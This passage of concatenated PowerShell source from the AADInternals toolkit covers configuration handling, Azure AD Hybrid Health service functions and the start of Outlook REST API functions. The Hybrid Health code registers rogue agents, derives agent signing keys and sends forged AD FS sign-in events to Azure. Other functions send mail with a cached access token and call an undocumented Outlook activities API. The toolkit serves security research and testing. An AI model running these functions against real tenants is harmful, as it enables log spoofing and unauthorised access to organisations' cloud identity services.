#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Additional info length
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Automatic script address length
# Rest is just 32 bytes of 0x00
return $blob
}
} |
Configuration.ps1 | AADInternals-0.9.4 | # Load the settings from config.json
# May 29th 2023
function Read-Configuration
{
<#
.SYNOPSIS
Loads AADInternals settings
.DESCRIPTION
Loads AADInternals settings from config.json. All changes made after loading AADInternals module will be lost.
.Example
PS C:\>Read-AADIntConfiguration
#>
[cmdletbinding()]
param()
Process
{
# Clear the settings
$Script:config = @{}
# ConvertFrom-Json -AsHashtable not supported in PowerShell 5.1
$configObject = Get-Content -Path "$PSScriptRoot\config.json" | ConvertFrom-Json
foreach($property in $configObject.PSObject.Properties)
{
$Script:config[$property.Name] = $property.Value
}
}
}
# Save the settings to config.json
# May 29th 2023
function Save-Configuration
{
<#
.SYNOPSIS
Saves AADInternals settings
.DESCRIPTION
Saves the current AADInternals settings to config.json. Settings will be loaded when AADInternals module is loaded.
.Example
PS C:\>Save-AADIntConfiguration
#>
[cmdletbinding()]
param()
Process
{
$Script:config | ConvertTo-Json | Set-Content -Path "$PSScriptRoot\config.json"
Write-Host "Settings saved."
}
}
# Shows the configuration
# May 29th 2023
function Get-Configuration
{
<#
.SYNOPSIS
Shows AADInternals settings
.DESCRIPTION
Shows AADInternals settings
.Example
PS C:\>Get-AADIntSettings
Name Value
---- -----
SecurityProtocol Tls12
User-Agent AADInternals
#>
[cmdletbinding()]
param()
Process
{
$Script:config
}
}
# Get AADInternals setting
# May 29th 2023
function Get-Setting
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true, ValueFromPipeline)]
[string]$Setting
)
Process
{
return $Script:config[$Setting]
}
}
# Sets AADInternals setting value
# May 29th 2023
function Set-Setting
{
<#
.SYNOPSIS
Sets the given setting with given value
.DESCRIPTION
Sets the given setting with given value. To persist, use Save-AADIntConfiguration after setting the value.
.Parameter Setting
Name of the setting to be set
.Parameter Value
Value of the setting
.Example
PS C:\>Set-AADIntSetting -Setting "User-Agent" -Value "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
.Example
PS C:\>Set-AADIntSetting -Setting "User-Agent" -Value "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
PS C:\>Save-AADIntConfiguration
Settings saved.
#>
[cmdletbinding()]
param(
[parameter(Mandatory=$true, ValueFromPipeline, Position=0)]
[string]$Setting,
[parameter(Mandatory=$true, ValueFromPipeline, Position=1)]
[PSObject]$Value
)
Process
{
$Script:config[$Setting] = $value
}
} |
HybridHealthServices.ps1 | AADInternals-0.9.4 | # Creates a new ADHybridHealthService
# Jun 7th 2021
function New-HybridHealthService
{
<#
.SYNOPSIS
Creates a new ADHybridHealthService
.DESCRIPTION
Creates a new ADHybridHealthService
.Parameter AccessToken
The access token used to create ADHybridHealthServices.
.Parameter Service
Which kind of service to create. Can be one of: "AdFederationService","AadSyncService"
Defaults to AdFederationService
.Parameter DisplayName
Display name of the service. Usually host name of the AD FS service, like sts.company.com
.Parameter Signature
The issuer uri of the AD FS service. Usually same as the display name, like sts.company.com
.Parameter Disabled
Whether the service is disabled or not. Defaults to $False
.Parameter Health
Health of the service. Can be one of: "Healthy","NotMonitored","Error"
Defaults to "Healthy"
.Example
New-AADIntHybridHealthService -Service AdFederationService -DisplayName sts.company.com -Signature sts.company.com
activeAlerts : 0
additionalInformation :
createdDate : 2021-05-05T07:13:45.0508805Z
customNotificationEmails :
disabled : False
displayName : sts.company.com
health : Healthy
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
notificationEmailEnabled : True
notificationEmailEnabledForGlobalAdmins : True
notificationEmails :
notificationEmailsEnabledForGlobalAdmins : False
resolvedAlerts : 0
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMembers :
serviceName : AdFederationService-sts.company.com
signature : sts.company.com
simpleProperties :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
type : AdFederationService
originalDisabledState : False
id : /providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet("AdFederationService","AadSyncService")]
[String]$Type = "AdFederationService",
[Parameter(Mandatory=$True)]
[String]$DisplayName,
[Parameter(Mandatory=$True)]
[String]$Signature
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Create the body
$body = [ordered]@{
"ActiveAlerts" = 0
"AdditionalInformation" = $null
"CreatedDate" = "0001-01-01T00:00:00"
"CustomNotificationEmails" = $null
"Disabled" = $False
"DisplayName" = $DisplayName
"Health" = "Healthy"
"LastDisabled" = $null
"LastUpdated" = "0001-01-01T00:00:00"
"MonitoringConfigurationsComputed" = $null
"MonitoringConfigurationsCustomized" = $null
"NotificationEmailEnabled" = $null
"NotificationEmailEnabledForGlobalAdmins" = $null
"NotificationEmails" = $null
"NotificationEmailsEnabledForGlobalAdmins" = $false
"ResolvedAlerts" = 0
"ServiceId" = $null
"ServiceMembers" = $null
"ServiceName" = $null
"Signature" = $Signature
"SimpleProperties" = $null
"TenantId" = $null
"Type" = $Type
"OriginalDisabledState" = $false
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services?api-version=2014-01-01" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Return the service object
$response
}
}
# Lists ADHybridHealthServices
# May 26th 2021
function Get-HybridHealthServices
{
<#
.SYNOPSIS
Gets ADHybridHealthServices
.DESCRIPTION
Gets ADHybridHealthServices
.Parameter AccessToken
The access token used to get ADHybridHealthServices.
.Parameter Service
Which kind of services to return.
.Example
Get-AADIntHybridHealthServices -Service AdFederationService
activeAlerts : 3
additionalInformation :
createdDate : 2021-05-05T07:13:45.0508805Z
customNotificationEmails :
disabled : False
displayName : sts.company.com
health : Error
lastDisabled :
lastUpdated : 2021-05-06T06:04:20.6537234Z
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
notificationEmailEnabled : True
notificationEmailEnabledForGlobalAdmins : True
notificationEmails :
notificationEmailsEnabledForGlobalAdmins : False
resolvedAlerts : 1
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMembers :
serviceName : AdFederationService-sts.company.com
signature : sts.company.com
simpleProperties :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
type : AdFederationService
originalDisabledState : False
id : /providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com
.Example
PS C:\>Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName
serviceName
-----------
AdFederationService-sts.company.com
AdFederationService-sts.contoso.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet("AdFederationService","AadSyncService")]
[String]$Service="AdFederationService"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
$url="https://management.azure.com/providers/Microsoft.ADHybridHealthService/services?api-version=2014-01-01"
if($Service)
{
$url += "&serviceType=$Service"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url -Headers $headers
# Return services
$response.value
}
}
# Removes the ADHybridHealthService
# Jun 7th 2021
function Remove-HybridHealthService
{
<#
.SYNOPSIS
Removes existing ADHybridHealthService
.DESCRIPTION
Removes existing ADHybridHealthService
.Parameter AccessToken
The access token used to get ADHybridHealthServices.
.Parameter ServiceName
Name of the service to be removed
.Example
Remove-AADIntHybridHealthService -ServiceName AdFederationService-sts.company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Delete -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName`?api-version=2014-01-01" -Headers $headers
# Return the service object
$response
}
}
# Get ADHybridHealthService members
# Jun 7th 2021
function Get-HybridHealthServiceMembers
{
<#
.SYNOPSIS
Gets ADHybridHealthService members
.DESCRIPTION
Gets ADHybridHealthService members
.Parameter AccessToken
The access token used to get ADHybridHealthService members.
.Parameter ServiceName
Name of the ADHybridHealthService
.Example
Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com"
lastReboot : 2021-03-16T08:17:19.0912Z
lastDisabled :
lastUpdated : 2021-06-07T11:36:34.6667535Z
activeAlerts : 1
resolvedAlerts : 1
createdDate : 0001-01-01T00:00:00
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : bec07a23-dd4a-4c80-8c92-9b9dc089f75c
machineId : 0cf2774f-a188-4bd3-b4b3-3a690374325d
machineName : SERVER
role : AdfsServer_2016
status : Warning
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion : 10.0.17763.0
osName : Microsoft Windows Server 2019 Standard
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
lastReboot : 0001-01-01T00:00:00
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
activeAlerts : 0
resolvedAlerts : 0
createdDate : 0001-01-01T00:00:00
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : e4d72022-a268-4167-a964-1899b8baeaa5
machineId : f5e349d6-67fd-4f11-b489-d98980aa6cab
machineName : PROXY
role : AdfsProxy_21
status : Healthy
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion :
osName :
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
.Example
Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com" | ft machineName,serviceMemberId
machineName serviceMemberId
----------- ---------------
SERVER bec07a23-dd4a-4c80-8c92-9b9dc089f75c
PROXY e4d72022-a268-4167-a964-1899b8baeaa5
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers?api-version=2014-01-01" -Headers $headers -Body ($Body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Return the service members
$response.value
}
}
# Create a new ADHybridHealthService members
# May 26th 2021
function New-HybridHealthServiceMember
{
<#
.SYNOPSIS
Adds a new ADHybridHealthService member
.DESCRIPTION
Adds a new ADHybridHealthService member
.Parameter AccessToken
The access token used to get ADHybridHealthService members.
.Parameter ServiceName
Name of the ADHybridHealthService
.Example
New-AADIntHybridHealthServiceMember -ServiceName AdFederationService-sts.company.com -MachineName "MyServer"
lastReboot : 0001-01-01T00:00:00Z
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
activeAlerts : 0
resolvedAlerts : 0
createdDate : 2021-05-06T07:15:50.0087136Z
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : 0fce7ce0-81a0-4bf7-87fb-fc787dfe13c2
machineId : e9f8357d-8a25-4cef-8c6b-f0b3c916ead5
machineName : MyServer
role :
status : Healthy
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion :
osName :
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName,
[Parameter(Mandatory=$False)]
[guid]$MachineId=(New-Guid),
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[ValidateSet("AdfsServer_2x","AdfsProxy_2x","AdfsServer_21","AdfsProxy_21","AdfsServer_30","AdfsProxy_30","AdfsServer_2016","AdfsProxy_2016")]
[String]$MachineRole="AdfsServer_2016"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Create the body
$body= [ordered]@{
"LastReboot" = "0001-01-01T00:00:00"
"LastDisabled" = "0001-01-01T00:00:00"
"LastUpdated" = "0001-01-01T00:00:00"
"ActiveAlerts" = 0
"ResolvedAlerts" = 0
"CreatedDate" = "0001-01-01T00:00:00"
"Disabled" = $False
"Dimensions" = $null
"AdditionalInformation" = $null
"TenantId" = "00000000-0000-0000-0000-000000000000"
"ServiceId" = "00000000-0000-0000-0000-000000000000"
"ServiceMemberId" = "00000000-0000-0000-0000-000000000000"
"MachineId" = $MachineId.ToString()
"MachineName" = $MachineName
"Role" = $MachineRole
"Status" = $Status
"Properties" = $Null
"InstalledQfes" = $Null
"RecommendedQfes" = $Null
"MonitoringConfigurationsComputed" = $Null
"MonitoringConfigurationsCustomized" = $Null
"OsVersion" = $Null
"OsName" = $Null
"DisabledReason" = 0
"ServerReportedMonitoringLevel" = $Null
"LastServerReportedMonitoringLevelChange"= "0001-01-01T00:00:00"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers?api-version=2014-01-01" -Headers $headers -Body ($Body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Return the service object
$response
}
}
# Remove ADHybridHealthService members
# Jun 14th 2021
function Remove-HybridHealthServiceMember
{
<#
.SYNOPSIS
Removes ADHybridHealthService member
.DESCRIPTION
Removes ADHybridHealthService member
.Parameter AccessToken
The access token used to get ADHybridHealthService members.
.Parameter ServiceName
Name of the ADHybridHealthService
.Parameter ServiceMemberId
Id of the ADHybridHealthService member to be removed
.Example
Remove-AADIntHybridHealthServiceMember -ServiceName AdFederationService-sts.company.com -ServiceMemberId 329485ce-9b5b-4652-ba72-acc41a455e92
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName,
[Parameter(Mandatory=$True)]
[guid]$ServiceMemberId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Delete -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers/$ServiceMemberId`?confirm=false&api-version=2014-01-01" -Headers $headers
# Return the service object
$response
}
}
# Gets ADHybridHealthService monitoring policies
# May 29th 2021
function Get-HybridHealthServiceMonitoringPolicies
{
<#
.SYNOPSIS
Gets ADHybridHealthService monitoring policies.
.DESCRIPTION
Gets ADHybridHealthService monitoring policies.
.Parameter AccessToken
The access token used to get ADHybridHealthService monitoring policies
.Example
Get-AADIntHybridHealthServiceMonitoringPolicies -AccessToken $at
serviceType : AdFederationService
serviceId : 74b6a260-67a3-43ac-922f-ec7afe19649c
serviceMemberId : 52f7c09f-e6a4-41ff-b328-bb6a182e1aca
monitoringConfigurations : {@{key=AadPremium; value=True}, @{key=MonitoringLevel; value=Full}}
propertiesExtractorClassName : Microsoft.Identity.Health.Adfs.DataAccess.DataManager, Microsoft.Identity.Health.Adfs.DataAccess
dimensionTableEntityClassNameList :
roleType : AdfsServer_2016
moduleConfigurations : {@{agentService=ConnectorAgent; moduleName=adfs; properties=}, @{agentService=ConnectorAgent; moduleName=PowerShellCmdletMonitor; properties=}}
serviceType : AadSyncService
serviceId : 4ce7a4dd-0269-4ae1-a92c-88f381f11a33
serviceMemberId : fa657e9b-b609-470c-aa6a-9922d9f37e49
monitoringConfigurations : {@{key=MonitoringLevel; value=Off}, @{key=StagingMode; value=False}, @{key=ConfigurationUploadInterval; value=240},
@{key=RunProfileResultUploadInterval; value=30}...}
propertiesExtractorClassName : Microsoft.Identity.Health.AadSync.DataAccess.DataManager, Microsoft.Identity.Health.AadSync.DataAccess
dimensionTableEntityClassNameList :
roleType : AadSync_AadConnectSync_1.0
moduleConfigurations : {@{agentService=ConnectorAgent; moduleName=aadsync; properties=}}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken
)
Process
{
$headers = @{
"Authorization" = "Bearer $AccessToken"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies" -Headers $headers
# Return upload key
$response
}
}
# Send the ADHybridHealthService events to Azure
# May 26th 2021
function Send-HybridHealthServiceEvents
{
<#
.SYNOPSIS
Sends the given AD FS audit events to Azure.
.DESCRIPTION
Sends the given AD FS audit events to Azure using ADHybridHealthService protocols.
.Parameter TenantId
Tenant ID
.Parameter ServiceID
ServiceID
.Parameter MachineId
Machine ID of the computer running the ADHybridHealthService.
.Parameter Events
An array of event objects.
.Example
PS C:\>Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com" | ft machineId,serviceId,tenantId
machineName machineId serviceId tenantId
----------- --------- --------- --------
SERVER 0cf2774f-a188-4bd3-b4b3-3a690374325d a0fae99d-083e-451c-9965-cc7a5851e4a8 b00133a8-b4e1-4c69-91d1-c0945e3e83c4
PROXY f5e349d6-67fd-4f11-b489-d98980aa6cab a0fae99d-083e-451c-9965-cc7a5851e4a8 b00133a8-b4e1-4c69-91d1-c0945e3e83c4
PS C:\>$agentKey = Get-Content "b00133a8-b4e1-4c69-91d1-c0945e3e83c4_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER.txt"
PS C:\>$events = @()
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "[email protected]" -IPAddress "192.168.0.2")
PS C:\>Send-AADIntHybridHealthServiceEvents -AgentKey $agentKey -TenantId "b00133a8-b4e1-4c69-91d1-c0945e3e83c4" -MachineId "f5e349d6-67fd-4f11-b489-d98980aa6cab" -ServiceId "a0fae99d-083e-451c-9965-cc7a5851e4a8" -Events $events
.Example
PS C:\>$events = @()
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "[email protected]" -IPAddress "192.168.0.2")
PS C:\>$agentInfo = Get-AADIntHybridHealthServiceAgentInfo
PS C:\>Send-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Events $events
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[String]$AgentKey,
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[guid]$MachineId,
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[guid]$TenantId,
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[guid]$ServiceId,
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
[Parameter(ParameterSetName='AgentInfo',Mandatory=$True)]
[System.Array]$Events,
[Parameter(ParameterSetName='AgentInfo',Mandatory=$True)]
[psobject]$AgentInfo
)
Process
{
if($AgentInfo)
{
$AgentKey = $AgentInfo.AgentKey
$TenantId = $AgentInfo.TenantId
$MachineId = $AgentInfo.MachineId
$ServiceId = $AgentInfo.ServiceId
}
# Get the service access token and the needed keys
$serviceAccessToken = Get-HybridHealthServiceAccessToken -AgentKey $AgentKey -MachineId $MachineId -TenantId $TenantId
$BlobKey = Get-HybridHealthServiceBlobUploadKey -AccessToken $serviceAccessToken -ServiceId $ServiceId
$EventPublisherKey = Get-HybridHealthServiceEventHubPublisherKey -AccessToken $serviceAccessToken -ServiceId $ServiceId
# Convert the events to json and compress
$content = ConvertTo-Json -InputObject $Events
$encContent = Get-CompressedByteArray -byteArray ([text.encoding]::UTF8.GetBytes($content))
# Calculate MD5 for the compressed content
$md5 = [System.Security.Cryptography.MD5]::Create()
$bodyMD5 = $md5.ComputeHash($encContent)
# Construct headers for uploading the blob
$id = (New-Guid).ToString()
$headers = @{
"User-Agent" = "Azure-Storage/8.2.0 (.NET CLR 4.0.30319.42000; Win32NT 10.0.17763.0)"
"x-ms-version" = "2017-04-17"
"Content-MD5" = Convert-ByteArrayToB64 -Bytes $bodyMD5
"x-ms-blob-type" = "BlockBlob"
"x-ms-client-request-id" = $id
}
# Construct the url
$BlobUrl = $BlobKey.Replace("?","/$($id).json?")
$BlobUrl += "&api-version=2017-04-17"
# Send the blob to Azure
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri $BlobUrl -Headers $headers -Body ([byte[]]$encContent)
}
catch
{
return
}
#
# Create the HMAC signature for the servicebus message (this is funny)
#
# First, an SHA512 hash is calculated from the AgentKey.
# Agent key is a B64 string of the binary key, but the hash is calculated from the string.
# The hash is converted to hex string.
[System.Security.Cryptography.SHA512] $sha = [System.Security.Cryptography.SHA512]::Create()
$bKey = Convert-ByteArrayToHex -Bytes $sha.ComputeHash([text.encoding]::ASCII.getBytes($AgentKey))
# Second, the signing key is derived by calculating HMACSHA512 by converting the hex array to binary by decoding it as B64 ???!?
$cKey = Convert-B64ToByteArray -B64 $bKey.ToUpper()
$hmac = [System.Security.Cryptography.HMACSHA512]::new($cKey)
# Get elements needed for the signature
$BlobUrl = $BlobUrl.Split("?")[0]
$signingTime = Get-Date
$dateString = $signingTime.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)
# Form the string to be signed and calculate the signature.
$stringToSign="$tenantId,$serviceId,$machineId,Adfs-UsageMetrics,$BlobUrl,$dateString"
$HMACSignature = Convert-ByteArrayToB64 -Bytes $hmac.ComputeHash([text.encoding]::Unicode.GetBytes($stringToSign))
# Send the signature to Azure via service bus
Send-ADFSServiceBusMessage -EventHubPublisherKey $EventPublisherKey -BlobAbsoluteUri $BlobUrl -TenantId $TenantId -MachineId $MachineId -ServiceId $ServiceId -SigningTime $signingTime -HMACSignature $HMACSignature
}
}
# Registers a new HybridHealthServiceAgent
# Jun 7th 2021
function Register-HybridHealthServiceAgent
{
<#
.SYNOPSIS
Registers a new ADHybridHealthService agent to the given service.
.DESCRIPTION
Registers a new ADHybridHealthService agent to the given service.
Saves the agent info and client certificates to the current directory.
Files are named: <ServiceName>_<TenantId>_<ServiceMemberId>_<MachineName>.xxx where xxx is json for Agent info and pfx for the certificate.
.Example
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName
serviceName
-----------
AdFederationService-sts.company.com
AdFederationService-sts.contoso.com
PS C:\>Register-AADIntHybridHealthServiceAgent -ServiceName "AdFederationService-sts.company.com" -MachineName "SERVER2" -MachineRole AdfsProxy_2016
Agent info saved to "AdFederationService-sts.company.com_0a959715-0d39-4409-bcc9-2c6ff5aa7a37_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER2.json"
Client sertificate saved to "AdFederationService-sts.company.com_0a959715-0d39-4409-bcc9-2c6ff5aa7a37_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER2.pfx"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName,
[Parameter(Mandatory=$True)]
[string]$MachineName,
[Parameter(Mandatory=$False)]
[ValidateSet("AdfsServer_2x","AdfsProxy_2x","AdfsServer_21","AdfsProxy_21","AdfsServer_30","AdfsProxy_30","AdfsServer_2016","AdfsProxy_2016")]
[String]$MachineRole="AdfsServer_2016",
[ValidateSet("Healthy","NotMonitored")]
[String]$Status = "Healthy"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Generate machine id
$MachineId = New-Guid
# Extract the tenant id from the
[guid]$TenantId = (Read-Accesstoken -AccessToken $AccessToken).tid
# Add new service member
$serviceMember = New-HybridHealthServiceMember -AccessToken $AccessToken -ServiceName $ServiceName -MachineId $MachineId -MachineName $MachineName -MachineRole $MachineRole
Write-Verbose "Added new service member:"
Write-Verbose $serviceMember
# Get the agent credentials
$agentCredentials = Get-HybridHealthServiceMemberCredentials -AccessToken $AccessToken -ServiceName $ServiceName -ServiceMemberId $serviceMember.serviceMemberId
$tenantCertificate = $agentCredentials.'tenant.cert'
Write-Verbose "Received a new tenant certificate: $($tenantCertificate.Subject)"
Write-Verbose "AgentKey: $($agentCredentials.AgentKey)"
# Invoke the request to get the client certificate
Write-Verbose "Registering the agent using tenant certificate."
[xml]$response = Invoke-RestMethod -UseBasicParsing -Uri "https://policykeyservice.dc.ad.msft.net/clientregistrationmanager.svc/ClientRegistration/$($TenantId.toString())/$MachineName/$($MachineId.toString())" -Certificate $TenantCertificate
# Strip CRLF and convert to byte array
$bCert = Convert-B64ToByteArray -B64 $response.AgentSetupConfiguration.ClientCertificate.Replace("`r`n","")
$agentCert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$bCert)
Write-Verbose "Received a new agent certificate: $($agentCert.Subject)"
$agentInfo=[ordered]@{
"AgentKey" = $agentCredentials.AgentKey
"TenantId" = $TenantId
"ServiceId" = $serviceMember.serviceId
"ServiceMemberId" = $serviceMember.serviceMemberId
"MachineId" = $MachineId
"Server" = $MachineName
}
# Save agent info and certificates to disk
$fileName = "$($ServiceName)_$($TenantId.toString())_$($MachineId.toString())_$MachineName"
Set-BinaryContent -Path "$fileName.pfx" -Value $bCert
$agentInfo | ConvertTo-Json | Set-Content "$fileName.json" -Encoding UTF8
Write-Host "Agent info saved to ""$fileName.json"""
Write-Host "Client sertificate saved to ""$fileName.pfx"""
}
} |
OutlookAPI.ps1 | AADInternals-0.9.4 | # Outlook REST Api functions
function Send-OutlookMessage
<#
.SYNOPSIS
Sends mail message using Outlook REST API
.DESCRIPTION
Sends mail using Outlook REST API using the account of given credentials.
Message MUST be html (or plaintext).
.Example
PS C:\>$At=Get-AADIntAccessTokenForEXO
PS C:\>Send-AADIntOutlookMessage -AccessToken $At -Recipient [email protected] -Subject "An email" -Message "This is a message!"
#>
{
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Recipient,
[Parameter(Mandatory=$True)]
[String]$Subject,
[Parameter(Mandatory=$True)]
[String]$Message,
[Parameter(Mandatory=$False)]
[Switch]$SaveToSentItems
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Request=@"
{
"Message": {
"Subject": $(Escape-StringToJson $Subject),
"Body": {
"ContentType": "HTML",
"Content": $(Escape-StringToJson $Message)
},
"ToRecipients": [
{
"EmailAddress": {
"Address": "$Recipient"
}
}
]
},
"SaveToSentItems": "$(if($SaveToSentItems){"true"}else{"false"})"
}
"@
$Cmd="me/sendmail"
# Convert to UTF-8 bytes
$Request_bytes = [system.Text.Encoding]::UTF8.getBytes($Request)
Call-OutlookAPI -AccessToken $AccessToken -Command $Cmd -Method Post -Request $Request_bytes
}
}
# Returns Outlook activities, a.k.a. the secrect forensics api
# MS has blocked the API but here it is anyways
# Apr 10th 2019
function Get-OutlookActivities
{
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Cmd="me/Activities"
